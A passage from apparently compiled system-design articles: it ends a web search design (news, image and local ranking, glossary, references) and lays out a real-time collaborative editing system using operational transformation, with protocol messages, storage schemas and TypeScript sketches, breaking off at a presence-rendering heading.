  return baseRelevance * 0.3 + authorityScore * 0.2 + freshnessScore * 0.5
}

function computeFreshnessDecay(publishedAt: Date): number {
  const ageHours = (Date.now() - publishedAt.getTime()) / (1000 * 60 * 60)

  // Exponential decay: half-life of ~6 hours for breaking news
  return Math.exp(-ageHours / 8)
}
```

**News-specific infrastructure:**

- Dedicated "fresh" index updated in real-time
- RSS/Atom feed crawling every few minutes
- Publisher push APIs for instant indexing
- Separate ranking model trained on news engagement

### Image Search

Image search combines visual features with text signals.

```typescript
// image-search.ts
interface ImageDocument {
  imageUrl: string
  pageUrl: string
  altText: string
  surroundingText: string
  visualFeatures: number[] // CNN embeddings
  safeSearchScore: number
}

function rankImageResult(image: ImageDocument, query: Query): number {
  // Text signals from alt text and page context
  const textScore = computeTextRelevance(image.altText + " " + image.surroundingText, query)

  // Visual similarity to query (if query has image)
  const visualScore = query.hasImage ? cosineSimilarity(image.visualFeatures, query.imageFeatures) : 0

  // Page authority
  const pageScore = getPageRank(image.pageUrl)

  return textScore * 0.4 + visualScore * 0.3 + pageScore * 0.3
}
```

### Local Search

Location-aware search requires geographic indexing.

```typescript
// local-search.ts
interface LocalBusiness {
  id: string
  name: string
  category: string
  location: { lat: number; lng: number }
  rating: number
  reviewCount: number
}

function rankLocalResult(business: LocalBusiness, query: Query, userLocation: Location): number {
  const relevanceScore = computeTextRelevance(business.name + " " + business.category, query)

  // Distance decay: closer is better
  const distance = haversineDistance(userLocation, business.location)
  const distanceScore = 1 / (1 + distance / 5) // 5km reference distance

  // Quality signals
  const qualityScore = business.rating * Math.log(business.reviewCount + 1)

  return relevanceScore * 0.3 + distanceScore * 0.4 + qualityScore * 0.3
}
```

**Local search infrastructure:**

- Geospatial index (R-tree or geohash-based)
- Business database integration (Google My Business)
- Real-time hours/availability from APIs
- User location from GPS, IP, or explicit setting

## Conclusion

Web search design requires solving four interconnected problems at planetary scale:

1. **Crawling** — Discovering and fetching content from billions of URLs while respecting server limits. Prioritization determines which pages stay fresh; adaptive politeness prevents overloading origin servers. The crawler is never "done"—the web changes continuously.

2. **Indexing** — Building data structures that enable sub-second query response. Inverted indexes map terms to documents; sharding distributes the index across thousands of machines. Compression (delta encoding) reduces storage 5-10x while maintaining query speed.

3. **Ranking** — Combining hundreds of signals to surface relevant results. PageRank provides baseline authority from link structure; BERT understands semantic meaning; RankBrain matches queries to documents in embedding space. No single signal dominates—the combination matters.

4. **Serving** — Processing 100K+ QPS with sub-second latency. Fan-out to all shards, aggregate results, apply final ranking—all within 200ms. Caching handles the long tail; early termination stops when good results are found.

**What this design optimizes for:**

- Query latency: p50 < 200ms through caching, early termination, and parallel shard queries
- Index freshness: Minutes for news, hours for regular content through tiered crawling
- Result relevance: Multiple ranking systems (PageRank + BERT + RankBrain) cover different relevance aspects
- Horizontal scale: Sharded architecture scales to 400B+ documents

**What it sacrifices:**

- Simplicity: Thousands of components, multiple ranking systems, complex coordination
- Cost: Massive infrastructure (estimated millions of servers)
- Real-time indexing: Minutes to hours delay for most content (news excepted)

**Known limitations:**

- Long-tail queries may have poor results (insufficient training data)
- Adversarial SEO requires constant ranking updates
- Fresh content from new sites may take weeks to surface
- Personalization creates filter bubbles

## Appendix

### Prerequisites

- Information retrieval fundamentals (TF-IDF, inverted indexes)
- Distributed systems concepts (sharding, replication, consensus)
- Basic machine learning (embeddings, neural networks)
- Graph algorithms (PageRank, link analysis)

### Terminology

- **Inverted Index** — Data structure mapping terms to documents containing them
- **Posting List** — List of documents (with positions/frequencies) for a single term
- **PageRank** — Algorithm measuring page importance based on link structure
- **BERT** — Bidirectional Encoder Representations from Transformers; understands word context
- **RankBrain** — Google's ML system for query-document matching via embeddings
- **Crawl Budget** — Maximum pages a crawler will fetch from a domain in a time period
- **robots.txt** — File specifying crawler access rules for a website
- **QDF** — Query Deserves Freshness; flag indicating time-sensitive queries
- **SERP** — Search Engine Results Page
- **Canonical URL** — Preferred URL when multiple URLs have duplicate content

### Summary

- Web search processes **8.5B queries/day** across **400B+ indexed pages** with **sub-second latency**
- **Inverted indexes** enable O(1) term lookup; **sharding** distributes load across thousands of machines
- **PageRank** measures page authority via link analysis; **BERT/RankBrain** add semantic understanding
- **Crawl prioritization** balances freshness vs. coverage; politeness respects server limits
- **Query processing** includes spell correction (680M param DNN), intent understanding, and query expansion
- **Tiered indexing** keeps hot data in memory; cold data on disk for cost efficiency
- **Early termination** and **caching** reduce tail latency; hedged requests handle slow shards

### References

- [The Anatomy of a Large-Scale Hypertextual Web Search Engine](http://infolab.stanford.edu/~backrub/google.html) - Brin & Page (1998), original Google paper
- [Bigtable: A Distributed Storage System for Structured Data](https://research.google/pubs/bigtable-a-distributed-storage-system-for-structured-data/) - Google (2006), storage architecture
- [How Search Works](https://www.google.com/search/howsearchworks/) - Google official documentation
- [Google Search Ranking Systems Guide](https://developers.google.com/search/docs/appearance/ranking-systems-guide) - Official ranking system documentation
- [A Peek Behind Colossus](https://cloud.google.com/blog/products/storage-data-transfer/a-peek-behind-colossus-googles-file-system) - Google's distributed file system
- [BERT: Pre-training of Deep Bidirectional Transformers](https://arxiv.org/abs/1810.04805) - Devlin et al., BERT paper
- [The PageRank Citation Ranking](http://ilpubs.stanford.edu:8090/422/) - Page et al., original PageRank paper
- [Web Search for a Planet](https://research.google/pubs/web-search-for-a-planet-the-google-cluster-architecture/) - Google (2003), cluster architecture
- [Crawl Budget Management](https://developers.google.com/search/docs/crawling-indexing/large-site-managing-crawl-budget) - Google crawl documentation

---

## Design Collaborative Document Editing (Google Docs)

**URL:** https://sujeet.pro/legacy-personal-site/v4/articles/system-design/system-design-problems/design-google-docs-collaboration
**Category:** System Design / System Design Problems
**Description:** A comprehensive system design for real-time collaborative document editing covering synchronization algorithms, presence broadcasting, conflict resolution, storage patterns, and offline support. This design addresses sub-second convergence for concurrent edits while maintaining document history and supporting 10-50 simultaneous editors.

# Design Collaborative Document Editing (Google Docs)

A comprehensive system design for real-time collaborative document editing covering synchronization algorithms, presence broadcasting, conflict resolution, storage patterns, and offline support. This design addresses sub-second convergence for concurrent edits while maintaining document history and supporting 10-50 simultaneous editors.

<figure>

![High-level architecture: WebSocket-based real-time sync with operation log persistence and periodic snapshots.](./high-level-architecture-websocket-based-real-time-sync-with-operation-log-persis.svg)

<figcaption>High-level architecture: WebSocket-based real-time sync with operation log persistence and periodic snapshots.</figcaption>
</figure>

## Abstract

Collaborative document editing requires solving three interrelated problems: **real-time synchronization** (all users see changes within milliseconds), **conflict resolution** (concurrent edits don't corrupt the document), and **durability** (no edit is ever lost).

**Core architectural decisions:**

| Decision       | Choice                              | Rationale                                           |
| -------------- | ----------------------------------- | --------------------------------------------------- |
| Sync algorithm | OT with server ordering             | Avoids TP2 complexity; proven at Google scale       |
| Transport      | WebSocket                           | Full-duplex, 1-10ms latency after handshake         |
| Persistence    | Event-sourced operation log         | Enables revision history, undo, and conflict replay |
| Presence       | Ephemeral broadcast                 | Cursors don't need durability; memory-only          |
| Offline        | Operation queue with reconciliation | Local-first editing, sync on reconnect              |

**Key trade-offs accepted:**

- Server dependency for ordering (no true P2P) in exchange for correctness guarantees
- Unbounded operation log growth requiring periodic snapshots
- Higher memory on collaboration servers (one process per active document)

**What this design optimizes:**

- Sub-100ms operation propagation to all connected clients
- Guaranteed convergence regardless of network conditions
- Full revision history with efficient retrieval

## Requirements

### Functional Requirements

| Requirement                   | Priority | Notes                               |
| ----------------------------- | -------- | ----------------------------------- |
| Real-time text editing        | Core     | Character-level granularity         |
| Concurrent multi-user editing | Core     | 10-50 simultaneous editors          |
| Live cursor/selection display | Core     | See where others are editing        |
| Revision history              | Core     | View/restore any previous version   |
| Rich text formatting          | Core     | Bold, italic, headings, lists       |
| Comments and suggestions      | Extended | Anchored to text ranges             |
| Offline editing               | Extended | Queue operations, sync on reconnect |
| Tables, images, embeds        | Extended | Block-level elements                |

### Non-Functional Requirements

| Requirement              | Target          | Rationale                                 |
| ------------------------ | --------------- | ----------------------------------------- |
| Availability             | 99.9% (3 nines) | User-facing, but brief outages acceptable |
| Edit propagation latency | p99 < 200ms     | Real-time feel requires sub-second        |
| Document load time       | p99 < 2s        | Cold start with full history              |
| Concurrent editors       | 50 per document | Google Sheets supports ~50; Docs ~10      |
| Operation durability     | 99.999%         | No edit should ever be lost               |
| Revision retention       | Indefinite      | Full history for compliance               |

### Scale Estimation

**Users:**

- Monthly Active Users (MAU): 500M (Google Docs scale)
- Daily Active Users (DAU): 100M (20% of MAU)
- Peak concurrent users: 10M

**Documents:**

- Total documents: 5B
- Active documents (edited in last 30 days): 500M (10%)
- Documents open concurrently at peak: 50M

**Traffic:**

- Operations per active editor: 1-5 per second (typing)
- Average editing session: 15 minutes
- Peak concurrent editors: 50M documents × 3 editors avg = 150M editing sessions
- Operations per second at peak: 150M × 2 ops/sec = 300M ops/sec globally

**Storage:**

- Average operation size: 100 bytes (insert/delete + metadata)
- Operations per document per day: 10,000 (active document)
- Daily operation storage: 500M docs × 10K ops × 100B = 500TB/day
- With snapshots (daily): 500M × 50KB = 25TB/day

## Design Paths

### Path A: Operational Transformation (Server-Ordered)

**Best when:**

- Always-online with reliable connectivity
- Central infrastructure already exists
- Correctness is paramount (financial, legal documents)
- Team has OT implementation experience or uses existing library

**Architecture:**

![Diagram](./diagram-1.svg)

**Key characteristics:**

- Server assigns canonical operation order
- Clients transform incoming ops against pending local ops
- Single source of truth eliminates TP2 requirement

**Trade-offs:**

- ✅ Proven correct (Google Docs, Wave, CKEditor)
- ✅ Simpler transformation functions (only TP1 needed)
- ✅ Efficient wire format (operations are small)
- ❌ Server round-trip required for each operation batch
- ❌ Limited offline capability (buffer only)
- ❌ Server is single point of failure per document

**Real-world example:** Google Docs uses Jupiter-derived OT since 2010. Every character change is saved as an event in a revision log. The document renders by replaying the log from the start (with periodic checkpoints for performance).

### Path B: CRDT-Based (Decentralized)

**Best when:**

- Offline-first is critical requirement
- P2P scenarios (no server available)
- Multi-device sync with unreliable networks
- Mathematical convergence proofs required

**Architecture:**

![Diagram](./diagram-2.svg)

**Key characteristics:**

- Operations commute without server coordination
- Each device maintains full CRDT state
- Convergence guaranteed by mathematical properties

**Trade-offs:**

- ✅ True offline support
- ✅ P2P synchronization possible
- ✅ No server bottleneck
- ❌ Higher memory (tombstones, metadata)
- ❌ Slower document loading (replay history)
- ❌ More complex intent preservation for rich text

**Real-world example:** Figma uses a CRDT-inspired approach with server reconciliation. They deliberately stop short of full CRDT to truncate history and reduce overhead. Yjs and Automerge are pure CRDT implementations used by many collaborative editors.

### Path C: Hybrid (Server-Ordered with CRDT Properties)

**Best when:**

- Need offline support but have server infrastructure
- Want CRDT convergence guarantees with OT efficiency
- Building on modern algorithms (Eg-walker, Fugue)

**Architecture:**

- Store append-only operation DAG (like CRDT)
- Use server for canonical ordering (like OT)
- Merge branches using CRDT-like algorithms
- Free memory when not actively merging

**Trade-offs:**

- ✅ Best of both: efficient steady-state, robust merging
- ✅ Order of magnitude better performance than pure CRDT
- ✅ Supports true offline with branch merging
- ❌ Newest approach, less production validation
- ❌ More complex implementation

**Real-world example:** Figma adopted Eg-walker for their code layers feature (2024). Joseph Gentle and Martin Kleppmann proved it achieves O(n log n) merge complexity versus O(n²) for traditional OT.

### Path Comparison

| Factor              | OT (Server)     | CRDT           | Hybrid       |
| ------------------- | --------------- | -------------- | ------------ |
| Correctness proof   | Straightforward | Mathematical   | Mathematical |
| Offline support     | Buffer only     | Native         | Native       |
| Server dependency   | Required        | Optional       | Optional     |
| Memory overhead     | Low             | High           | Medium       |
| Implementation      | Moderate        | Complex        | Complex      |
| Production examples | Google Docs     | Notion, Linear | Figma Code   |

### This Article's Focus

This article focuses on **Path A (OT with server ordering)** because:

1. It's the most battle-tested approach (15+ years in production at Google)
2. Most use cases have reliable connectivity
3. Simpler to implement correctly
4. Existing libraries (ShareDB, ot.js) provide solid foundations

Path B (CRDT) details are covered in [CRDTs for Collaborative Systems](../../core-distributed-patterns/crdt-for-collaborative-systems/README.md).

## High-Level Design

### Component Overview

![Diagram](./diagram-3.svg)

### WebSocket Gateway

Manages persistent connections between clients and collaboration servers.

**Responsibilities:**

- Connection lifecycle (connect, heartbeat, disconnect)
- Route messages to document processors
- Broadcast presence updates
- Handle reconnection and state recovery

**Design decisions:**

| Decision         | Choice              | Rationale                                 |
| ---------------- | ------------------- | ----------------------------------------- |
| Protocol         | WebSocket           | Full-duplex, 2-14 byte overhead vs HTTP   |
| Session affinity | Sticky by document  | All editors of a document hit same server |
| Heartbeat        | 30 second interval  | Detect dead connections                   |
| Reconnection     | Exponential backoff | Prevent thundering herd                   |

**Scaling approach:**

- Horizontal scaling with consistent hashing by document ID
- One server "owns" each active document
- Ownership transfers on server failure via distributed lock

### Document Processor (OT Engine)

The core synchronization component that transforms and orders operations.

**State per active document:**

```typescript
interface DocumentState {
  documentId: string
  revision: number // Monotonic operation counter
  content: DocumentContent // Current document state
  pendingOps: Map<ClientId, Operation[]> // Ops awaiting transform
  clients: Map<ClientId, ClientState> // Connected clients
}

interface ClientState {
  clientId: string
  lastAckedRevision: number
  cursor: CursorPosition | null
  color: string // For presence display
}
```

**Operation flow:**

1. **Receive**: Client sends operation with base revision
2. **Validate**: Check revision is not stale beyond buffer
3. **Transform**: Transform against all operations since base revision
4. **Apply**: Update document state
5. **Persist**: Write to operation log
6. **Broadcast**: Send transformed operation to all clients

**Memory management:**

- Keep document state in memory while active
- Evict after 5 minutes of inactivity
- Reload from latest snapshot + recent operations

### Presence Service

Handles ephemeral state: cursors, selections, user indicators.

**Design decisions:**

- **No persistence**: Presence is reconstructed on reconnect
- **Throttled broadcast**: Max 20 updates/second per client
- **Coalesced updates**: Batch cursor movements before broadcast

**Data structure:**

```typescript
interface PresenceUpdate {
  clientId: string
  documentId: string
  cursor: {
    anchor: number // Selection start (character position)
    head: number // Selection end (cursor position)
  } | null
  user: {
    id: string
    name: string
    avatar: string
    color: string // Assigned per-document
  }
  timestamp: number
}
```

### Document API

Handles document CRUD, access control, and version retrieval.

**Endpoints:**

| Endpoint                      | Method | Purpose                                     |
| ----------------------------- | ------ | ------------------------------------------- |
| `/documents`                  | POST   | Create document                             |
| `/documents/{id}`             | GET    | Load document (latest or specific revision) |
| `/documents/{id}/operations`  | GET    | Fetch operation range for history           |
| `/documents/{id}/snapshot`    | POST   | Create manual snapshot                      |
| `/documents/{id}/revisions`   | GET    | List revision metadata                      |
| `/documents/{id}/permissions` | PUT    | Update access control                       |

## API Design

### WebSocket Protocol

#### Client → Server Messages

**Send Operation:**

```json
{
  "type": "operation",
  "documentId": "doc_abc123",
  "clientId": "client_xyz",
  "baseRevision": 142,
  "operation": {
    "ops": [{ "retain": 50 }, { "insert": "Hello, " }, { "retain": 100 }, { "delete": 5 }]
  },
  "timestamp": 1706886400000
}
```

**Update Presence:**

```json
{
  "type": "presence",
  "documentId": "doc_abc123",
  "cursor": { "anchor": 150, "head": 150 },
  "selection": null
}
```

#### Server → Client Messages

**Operation Acknowledgment:**

```json
{
  "type": "ack",
  "documentId": "doc_abc123",
  "revision": 143,
  "transformedOp": { ... }
}
```

**Broadcast Operation (to other clients):**

```json
{
  "type": "remote_operation",
  "documentId": "doc_abc123",
  "clientId": "client_other",
  "revision": 143,
  "operation": { ... },
  "user": {
    "id": "user_123",
    "name": "Alice"
  }
}
```

**Presence Broadcast:**

```json
{
  "type": "remote_presence",
  "documentId": "doc_abc123",
  "presences": [
    {
      "clientId": "client_other",
      "cursor": { "anchor": 200, "head": 210 },
      "user": { "id": "user_123", "name": "Alice", "color": "#4285f4" }
    }
  ]
}
```

### REST API

#### Create Document

**Endpoint:** `POST /api/v1/documents`

**Request:**

```json
{
  "title": "Untitled Document",
  "content": "",
  "folderId": "folder_abc",
  "templateId": "template_xyz"
}
```

**Response (201 Created):**

```json
{
  "id": "doc_abc123",
  "title": "Untitled Document",
  "revision": 0,
  "createdAt": "2024-02-03T10:00:00Z",
  "createdBy": {
    "id": "user_123",
    "name": "Alice"
  },
  "permissions": {
    "owner": "user_123",
    "editors": [],
    "viewers": []
  },
  "wsEndpoint": "wss://collab.example.com/ws/doc_abc123"
}
```

#### Load Document

**Endpoint:** `GET /api/v1/documents/{id}?revision={optional}`

**Response (200 OK):**

```json
{
  "id": "doc_abc123",
  "title": "Project Proposal",
  "revision": 1542,
  "content": {
    "type": "doc",
    "content": [
      {
        "type": "heading",
        "attrs": { "level": 1 },
        "content": [{ "type": "text", "text": "Introduction" }]
      },
      {
        "type": "paragraph",
        "content": [{ "type": "text", "text": "..." }]
      }
    ]
  },
  "snapshot": {
    "revision": 1500,
    "createdAt": "2024-02-03T09:00:00Z"
  },
  "pendingOperations": 42,
  "collaborators": [{ "id": "user_456", "name": "Bob", "online": true }]
}
```

#### List Revisions

**Endpoint:** `GET /api/v1/documents/{id}/revisions?limit=50&before={revision}`

**Response (200 OK):**

```json
{
  "revisions": [
    {
      "revision": 1542,
      "timestamp": "2024-02-03T10:30:00Z",
      "user": { "id": "user_123", "name": "Alice" },
      "summary": "Edited section 3",
      "operationCount": 15
    },
    {
      "revision": 1500,
      "timestamp": "2024-02-03T09:00:00Z",
      "user": { "id": "user_456", "name": "Bob" },
      "summary": "Added introduction",
      "operationCount": 203,
      "isSnapshot": true
    }
  ],
  "hasMore": true,
  "nextCursor": "rev_1499"
}
```

### Error Responses

| Code | Error               | When                        |
| ---- | ------------------- | --------------------------- |
| 400  | `INVALID_OPERATION` | Operation format invalid    |
| 409  | `REVISION_CONFLICT` | Base revision too old       |
| 410  | `DOCUMENT_DELETED`  | Document was deleted        |
| 423  | `DOCUMENT_LOCKED`   | Document temporarily locked |
| 429  | `RATE_LIMITED`      | Too many operations         |

**Revision conflict handling:**

```json
{
  "error": "REVISION_CONFLICT",
  "message": "Base revision 100 is too old. Current: 150",
  "currentRevision": 150,
  "missingOperations": "/api/v1/documents/doc_abc/operations?from=100&to=150"
}
```

Client must fetch missing operations, transform local pending operations, and retry.

## Data Modeling

### Document Metadata (PostgreSQL)

```sql
CREATE TABLE documents (
    id UUID PRIMARY KEY DEFAULT gen_random_uuid(),
    title TEXT NOT NULL,
    owner_id UUID NOT NULL REFERENCES users(id),
    folder_id UUID REFERENCES folders(id),
    current_revision BIGINT DEFAULT 0,
    latest_snapshot_revision BIGINT,
    content_type VARCHAR(50) DEFAULT 'rich_text',
    created_at TIMESTAMPTZ DEFAULT NOW(),
    updated_at TIMESTAMPTZ DEFAULT NOW(),
    deleted_at TIMESTAMPTZ,

    -- Denormalized for read performance
    collaborator_count INT DEFAULT 0,
    word_count INT DEFAULT 0,
    last_edited_by UUID REFERENCES users(id),
    last_edited_at TIMESTAMPTZ
);

-- Access control
CREATE TABLE document_permissions (
    document_id UUID REFERENCES documents(id) ON DELETE CASCADE,
    user_id UUID REFERENCES users(id),
    role VARCHAR(20) NOT NULL, -- 'owner', 'editor', 'commenter', 'viewer'
    granted_at TIMESTAMPTZ DEFAULT NOW(),
    granted_by UUID REFERENCES users(id),
    PRIMARY KEY (document_id, user_id)
);

CREATE INDEX idx_documents_owner ON documents(owner_id, updated_at DESC);
CREATE INDEX idx_documents_folder ON documents(folder_id, updated_at DESC);
CREATE INDEX idx_permissions_user ON document_permissions(user_id);
```

### Operation Log (DynamoDB)

**Table design for append-heavy workload:**

| Partition Key | Sort Key   | Attributes                                                   |
| ------------- | ---------- | ------------------------------------------------------------ |
| `document_id` | `revision` | `operation`, `client_id`, `user_id`, `timestamp`, `checksum` |

**Schema:**

```json
{
  "document_id": "doc_abc123",
  "revision": 1542,
  "operation": {
    "ops": [{ "retain": 50 }, { "insert": "Hello" }]
  },
  "client_id": "client_xyz",
  "user_id": "user_123",
  "timestamp": 1706886400000,
  "checksum": "sha256:abc123...",
  "ttl": null
}
```

**Why DynamoDB:**

- Append-only workload (write-optimized)
- Predictable latency at scale
- Built-in TTL for old operations (after snapshot)
- Range queries by revision efficient

**Capacity planning:**

- Write capacity: 300M ops/sec globally → partition across documents
- Single document: 100 ops/sec max (50 editors × 2 ops/sec)
- Read capacity: Burst on document load, then minimal

### Snapshots (S3)

**Naming convention:**

```
s3://doc-snapshots/{document_id}/{revision}.json.gz
```

**Snapshot content:**

```json
{
  "documentId": "doc_abc123",
  "revision": 1500,
  "createdAt": "2024-02-03T09:00:00Z",
  "content": {
    "type": "doc",
    "content": [...]
  },
  "metadata": {
    "wordCount": 5420,
    "characterCount": 32150,
    "imageCount": 12
  },
  "checksum": "sha256:..."
}
```

**Snapshot strategy:**

- Create snapshot every 1000 operations
- Or every 1 hour of activity
- Or on manual request (revision history view)
- Keep all snapshots for compliance

### Active Document Cache (Redis)

**Data structures:**

```redis
# Document state (hash)
HSET doc:{id}:state
    revision 1542
    content "{serialized_content}"
    last_updated 1706886400000

# Connected clients (sorted set by last activity)
ZADD doc:{id}:clients {timestamp} {client_id}

# Pending operations queue (list)
RPUSH doc:{id}:pending "{operation_json}"

# Presence (hash with TTL per client)
HSET doc:{id}:presence:{client_id}
    cursor_anchor 150
    cursor_head 150
    user_name "Alice"
    user_color "#4285f4"
EXPIRE doc:{id}:presence:{client_id} 60
```

**Eviction policy:**

- Documents evicted after 5 minutes of no activity
- Presence entries auto-expire after 60 seconds without refresh

## Low-Level Design

### OT Transformation Engine

#### Operation Format

Using a format similar to Quill Delta / Google Wave:

```typescript
type Operation = {
  ops: (RetainOp | InsertOp | DeleteOp)[]
}

type RetainOp = {
  retain: number
  attributes?: Record<string, any> // For formatting changes
}

type InsertOp = {
  insert: string | { image: string } | { embed: any }
  attributes?: Record<string, any>
}

type DeleteOp = {
  delete: number
}
```

**Example operations:**

```typescript
// Insert "Hello" at position 0
{
  ops: [{ insert: "Hello" }]
}

// Delete 3 characters at position 10
{
  ops: [{ retain: 10 }, { delete: 3 }]
}

// Bold characters 5-10
{
  ops: [{ retain: 5 }, { retain: 5, attributes: { bold: true } }]
}
```

#### Transformation Functions

```typescript collapse={1-10}
function transform(op1: Operation, op2: Operation, priority: "left" | "right"): [Operation, Operation] {
  // op1' = transform(op1, op2) - op1 transformed against op2
  // op2' = transform(op2, op1) - op2 transformed against op1
  // Guarantee: apply(apply(doc, op1), op2') === apply(apply(doc, op2), op1')

  const ops1 = [...op1.ops]
  const ops2 = [...op2.ops]
  const result1: Op[] = []
  const result2: Op[] = []

  let i1 = 0,
    i2 = 0

  while (i1 < ops1.length || i2 < ops2.length) {
    const o1 = ops1[i1]
    const o2 = ops2[i2]

    // Case: insert vs anything - inserts go first
    if (o1 && "insert" in o1) {
      if (priority === "left") {
        result2.push({ retain: insertLength(o1) })
        result1.push(o1)
        i1++
        continue
      }
    }
    if (o2 && "insert" in o2) {
      result1.push({ retain: insertLength(o2) })
      result2.push(o2)
      i2++
      continue
    }

    // Case: retain vs retain
    if (o1 && "retain" in o1 && o2 && "retain" in o2) {
      const len = Math.min(o1.retain, o2.retain)
      result1.push({ retain: len, attributes: o1.attributes })
      result2.push({ retain: len, attributes: o2.attributes })
      consumeLength(ops1, i1, len)
      consumeLength(ops2, i2, len)
      continue
    }

    // Case: delete vs retain
    if (o1 && "delete" in o1 && o2 && "retain" in o2) {
      const len = Math.min(o1.delete, o2.retain)
      result1.push({ delete: len })
      // o2 doesn't produce output - deleted content
      consumeLength(ops1, i1, len)
      consumeLength(ops2, i2, len)
      continue
    }

    // Case: retain vs delete
    if (o1 && "retain" in o1 && o2 && "delete" in o2) {
      const len = Math.min(o1.retain, o2.delete)
      // o1 doesn't produce output - deleted content
      result2.push({ delete: len })
      consumeLength(ops1, i1, len)
      consumeLength(ops2, i2, len)
      continue
    }

    // Case: delete vs delete - both delete same content
    if (o1 && "delete" in o1 && o2 && "delete" in o2) {
      const len = Math.min(o1.delete, o2.delete)
      // Neither produces output - already deleted
      consumeLength(ops1, i1, len)
      consumeLength(ops2, i2, len)
      continue
    }
  }

  return [{ ops: result1 }, { ops: result2 }]
}
```

#### Server-Side Processing

```typescript collapse={1-15}
class DocumentProcessor {
  private state: DocumentState
  private opLog: OperationLog
  private broadcaster: Broadcaster

  async processOperation(clientId: string, baseRevision: number, operation: Operation): Promise<ProcessResult> {
    // 1. Validate base revision
    if (baseRevision < this.state.revision - MAX_REVISION_LAG) {
      throw new RevisionConflictError(this.state.revision)
    }

    // 2. Transform against all operations since base
    let transformedOp = operation
    for (let rev = baseRevision + 1; rev <= this.state.revision; rev++) {
      const serverOp = await this.opLog.getOperation(this.state.documentId, rev)
      ;[transformedOp] = transform(transformedOp, serverOp, "right")
    }

    // 3. Apply to document state
    const newContent = applyOperation(this.state.content, transformedOp)
    const newRevision = this.state.revision + 1

    // 4. Persist operation (async, but before ack)
    await this.opLog.append({
      documentId: this.state.documentId,
      revision: newRevision,
      operation: transformedOp,
      clientId,
      timestamp: Date.now(),
    })

    // 5. Update in-memory state
    this.state.content = newContent
    this.state.revision = newRevision

    // 6. Broadcast to other clients
    this.broadcaster.broadcastOperation(
      this.state.documentId,
      clientId, // Exclude sender
      newRevision,
      transformedOp,
    )

    // 7. Return acknowledgment
    return {
      revision: newRevision,
      transformedOp,
    }
  }
}
```

### Client-Side State Machine

```typescript collapse={1-12}
type ClientOTState =
  | { type: "synchronized"; serverRevision: number }
  | { type: "awaitingAck"; serverRevision: number; pending: Operation }
  | { type: "awaitingWithBuffer"; serverRevision: number; pending: Operation; buffer: Operation }

class ClientOT {
  private state: ClientOTState = { type: "synchronized", serverRevision: 0 }
  private document: DocumentContent

  onLocalEdit(operation: Operation): void {
    switch (this.state.type) {
      case "synchronized":
        // Send immediately
        this.sendToServer(operation, this.state.serverRevision)
        this.state = {
          type: "awaitingAck",
          serverRevision: this.state.serverRevision,
          pending: operation,
        }
        break

      case "awaitingAck":
        // Buffer - compose with existing buffer or create new
        this.state = {
          type: "awaitingWithBuffer",
          serverRevision: this.state.serverRevision,
          pending: this.state.pending,
          buffer: operation,
        }
        break

      case "awaitingWithBuffer":
        // Compose into buffer
        this.state = {
          ...this.state,
          buffer: compose(this.state.buffer, operation),
        }
        break
    }

    // Apply locally immediately
    this.document = applyOperation(this.document, operation)
  }

  onServerAck(revision: number): void {
    switch (this.state.type) {
      case "awaitingAck":
        this.state = { type: "synchronized", serverRevision: revision }
        break

      case "awaitingWithBuffer":
        // Send buffered operations
        this.sendToServer(this.state.buffer, revision)
        this.state = {
          type: "awaitingAck",
          serverRevision: revision,
          pending: this.state.buffer,
        }
        break
    }
  }

  onRemoteOperation(revision: number, operation: Operation): void {
    // Transform remote op against pending/buffer
    let transformedRemote = operation

    if (this.state.type === "awaitingAck" || this.state.type === "awaitingWithBuffer") {
      ;[, transformedRemote] = transform(this.state.pending, operation, "left")

      // Also transform pending against remote
      const [newPending] = transform(this.state.pending, operation, "left")
      this.state = { ...this.state, pending: newPending }
    }

    if (this.state.type === "awaitingWithBuffer") {
      ;[, transformedRemote] = transform(this.state.buffer, transformedRemote, "left")

      const [newBuffer] = transform(this.state.buffer, operation, "left")
      this.state = { ...this.state, buffer: newBuffer }
    }

    // Apply transformed remote operation
    this.document = applyOperation(this.document, transformedRemote)
  }
}
```

### Snapshot and Compaction

#### Snapshot Worker

```typescript collapse={1-8}
class SnapshotWorker {
  private readonly SNAPSHOT_THRESHOLD = 1000 // Operations since last snapshot
  private readonly SNAPSHOT_INTERVAL_MS = 3600000 // 1 hour

  async processDocument(documentId: string): Promise<void> {
    const doc = await this.documentStore.getMetadata(documentId)
    const latestSnapshot = await this.snapshotStore.getLatest(documentId)

    const opsSinceSnapshot = doc.currentRevision - (latestSnapshot?.revision ?? 0)
    const timeSinceSnapshot = Date.now() - (latestSnapshot?.createdAt ?? 0)

    if (opsSinceSnapshot < this.SNAPSHOT_THRESHOLD && timeSinceSnapshot < this.SNAPSHOT_INTERVAL_MS) {
      return // No snapshot needed
    }

    // Build document state
    let content = latestSnapshot?.content ?? emptyDocument()
    const operations = await this.opLog.getRange(documentId, (latestSnapshot?.revision ?? 0) + 1, doc.currentRevision)

    for (const op of operations) {
      content = applyOperation(content, op.operation)
    }

    // Store snapshot
    await this.snapshotStore.create({
      documentId,
      revision: doc.currentRevision,
      content,
      createdAt: Date.now(),
    })

    // Mark old operations for TTL expiry (keep last 100 for recent history)
    await this.opLog.setTTL(documentId, 0, doc.currentRevision - 100, TTL_30_DAYS)
  }
}
```

## Frontend Considerations

### Editor Integration

**Rich text editors with OT support:**

| Editor      | OT/CRDT Support   | Notes                      |
| ----------- | ----------------- | -------------------------- |
| ProseMirror | Steps (OT-like)   | Used by Notion, Atlassian  |
| Slate       | Plugin-based      | Flexible, needs OT library |
| Quill       | Delta format      | Native OT support          |
| TipTap      | ProseMirror-based | Modern API                 |

**Integration pattern (ProseMirror example):**

```typescript collapse={1-15}
class CollaborativeEditor {
  private view: EditorView
  private otClient: ClientOT
  private ws: WebSocket

  constructor(container: HTMLElement, documentId: string) {
    // Initialize OT client
    this.otClient = new ClientOT()

    // Connect WebSocket
    this.ws = new WebSocket(`wss://collab.example.com/ws/${documentId}`)
    this.ws.onmessage = this.handleServerMessage.bind(this)

    // Initialize editor with collaboration plugin
    this.view = new EditorView(container, {
      state: EditorState.create({
        plugins: [collab({ version: 0 }), this.cursorPlugin(), this.presencePlugin()],
      }),
      dispatchTransaction: this.handleLocalChange.bind(this),
    })
  }

  private handleLocalChange(tr: Transaction): void {
    const newState = this.view.state.apply(tr)
    this.view.updateState(newState)

    if (tr.docChanged) {
      // Convert ProseMirror steps to OT operations
      const steps = sendableSteps(newState)
      if (steps) {
        const operation = stepsToOperation(steps.steps)
        this.otClient.onLocalEdit(operation)
        this.ws.send(
          JSON.stringify({
            type: "operation",
            operation,
            baseRevision: this.otClient.serverRevision,
          }),
        )
      }
    }
  }
}
```

### Presence Rendering

